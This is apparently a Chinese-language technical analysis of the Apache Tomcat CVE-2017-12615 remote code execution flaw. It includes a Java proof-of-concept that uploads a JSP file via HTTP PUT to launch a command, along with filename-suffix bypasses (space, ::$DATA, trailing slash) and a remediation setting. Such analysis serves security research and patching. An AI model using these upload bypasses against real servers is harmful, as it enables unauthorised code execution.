2017年9月19日, Apache Tomcat官方發布兩個嚴重的安全漏洞, 其中CVE-2017-12615為遠程代碼執行漏洞,通過put請求向服務器上傳惡意jsp文件, 再通過jsp文件在服務器上執行任意代碼, 且最新的補丁未完全修復漏洞。
漏洞編號
CVE-2017-12615
漏洞名稱
Apache Tomcat 遠程代碼執行漏洞
漏洞評級
嚴重
影響范圍
Apache Tomcat 7.0.0 - 7.0.79
漏洞分析
1. 創建調試環境
下載tomcat v7.0.79源碼, http://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/src/apache-tomcat-7.0.79-src.zip
解包后, 在解包根目錄創建pom.xml文件, 添加如下內容
<?xml version="1.0" encoding="UTF-8"?> <!--suppress ALL --> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.apache.tomcat</groupId> <artifactId>Tomcat7.0.79</artifactId> <name>Tomcat7.0.79 src</name> <version>7.0.79</version> ........... </project>
修改conf/web.xml, 添加如下內容
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
idea打開pom.xml文件
啟動項配置如下

2. jsp后不添加內容
import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.InetAddress; import java.net.Socket; import com.sun.jersey.api.client.Client; import com.sun.jersey.api.client.WebResource; import sun.net.www.http.HttpClient; public class tomcatExp{ public static void main(String[] args) throws Exception { Socket s = new Socket("localhost", 8080); OutputStream out = s.getOutputStream(); String sPayload = "<%Process proc = Runtime.getRuntime().exec(\"calc\");%>"; // payload1 String head = "PUT /upload/" + "1.jsp" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n" + "Connection: keep-alive\r\n" + "Accept: text/html,application/xhtml+xml,application/xml,*/*\r\n" + "Accept-Encoding: gzip, deflate\r\n" + "Accept-Language: zh-CN\r\n" + "Content-Length: " + sPayload.length() + "\r\n" + "\r\n"; out.write(head.getBytes()); out.write(sPayload.getBytes(), 0, sPayload.length()); s.close(); } }
進入JspServlet, 無法創建文件

3. jsp后添加\
String head = "PUT /upload/" + "1.jsp%7C" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"
進入DefaultServlet
判斷readonly參數
寫文件
提示異常,語法錯誤

4. jsp后添加空格
String head = "PUT /upload/" + "1.jsp%20" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"
進入DefaultServlet
文件創建成功

添加.(點號)同理
5. jsp后添加::$DATA
String head = "PUT /upload/" + "1.jsp::$DATA" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"
進入DefaultServlet
文件創建成功

6. jsp后添加/
String head = "PUT /upload/" + "1.jsp/" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"

去除掉了最后的/, 最后成功創建文件

7. 7.0.81版本
空格的情況,canPath和absPath不相同,返回null,漏洞修復
::$DATA的情況, canPath為空,漏洞修復
/的情況, 依然成功返回file, 漏洞未修復

漏洞利用
訪問jsp文件,成功執行代碼

修復建議
conf/web.xml文件readonly屬性值設為ture.
